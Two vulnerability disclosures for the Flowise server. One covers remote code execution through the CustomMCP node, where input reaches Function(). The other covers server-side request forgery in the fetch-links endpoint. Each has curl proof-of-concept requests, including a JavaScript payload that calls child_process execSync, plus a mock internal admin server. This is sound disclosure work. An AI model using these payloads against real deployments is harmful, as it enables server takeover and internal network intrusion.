Description

Cause of the Vulnerability

The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.

Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as childprocess and fs.

Vulnerability Flow

1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter. 2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step. 3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.

Taint Flow

- Taint 01: Route Registration index.ts (Line 5)

- Taint 02: Controller index.ts (Line 57–78)

- Taint 03: Service index.ts (Line 91–94)

- Taint 04: CustomMCP Node Entry Point CustomMCP.ts (Line 132)

- Taint 05: Variable Substitution CustomMCP.ts (Line 220)

- Taint 06: Dangerous Constructor Execution CustomMCP.ts (Line 262–270)

Proof of Concept (PoC)

bash curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \ -d '{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"childprocess\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})" } }' <img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />

When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.

Impact

Complete System Takeover and Infrastructure Threat

This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:

- Full system compromise - File system access - Command execution - Sensitive data exfiltration

As only an API token is required, this poses an extreme security risk to business continuity and customer data.

Summary ---

A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.

Details ---

Vulnerability Overview

The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.

The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.

Root Cause

The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.

Taint Flow

• Taint 01: Route Registration

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24

• Taint 02: Service

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18

• Taint 03: xmlScrape

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478

PoC ---

PoC Description

This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:

tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q

Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:

- /api/users (User Management) - /api/secrets (API Keys) - /api/database (Database Config)

This demonstrated that an attacker could enumerate internal web service structures.

Internal Admin Server (Mock)

python from flask import Flask, rendertemplatestring

app = Flask(name)

@app.route('/') def admin(): return rendertemplatestring(""" <html> <h1>Internal Admin Panel</h1> <ul> <li><a href="/api/users">User Management</a></li> <li><a href="/api/secrets">API Keys</a></li> <li><a href="/api/database">Database Config</a></li> <li><a href="/api/logs">System Logs</a></li> </ul> """)

@app.route('/api/users') def users(): return rendertemplatestring(""" <html> <h1>Users</h1> <ul> <li><a href="/api/users/admin">admin (root)</a></li> <li><a href="/api/users/operator">operator</a></li> </ul> <a href="/">Back</a> """)

@app.route('/api/secrets') def secrets(): return rendertemplatestring(""" <html> <h1>Secrets</h1> <ul> <li><a href="/api/secrets/dbkey">DB Key: sk-1234567890abcdef</a></li> <li><a href="/api/secrets/awskey">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li> </ul> <a href="/">Back</a> """)

if name == 'main': app.run(host='127.0.0.1', port=8080)

curl Request Example

bash curl -G 'http://localhost:3000/api/v1/fetch-links' \ --data-urlencode 'url=http://127.0.0.1:8080/' \ --data-urlencode 'relativeLinksMethod=webCrawl' \ --data-urlencode 'limit=10' \ -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \ -s | jq '.' <img width="1914" height="952" alt="image" src="https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3" />

Impact ---

This is a Server-Side Request Forgery (SSRF) vulnerability.

- Who is impacted? Any user running Flowise server exposed to external traffic. - Risk: Attackers can leverage the Flowise server to: - Explore internal web applications - Bypass firewall rules - Access sensitive administrative interfaces - Leak internal configuration, credentials, or secrets

This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.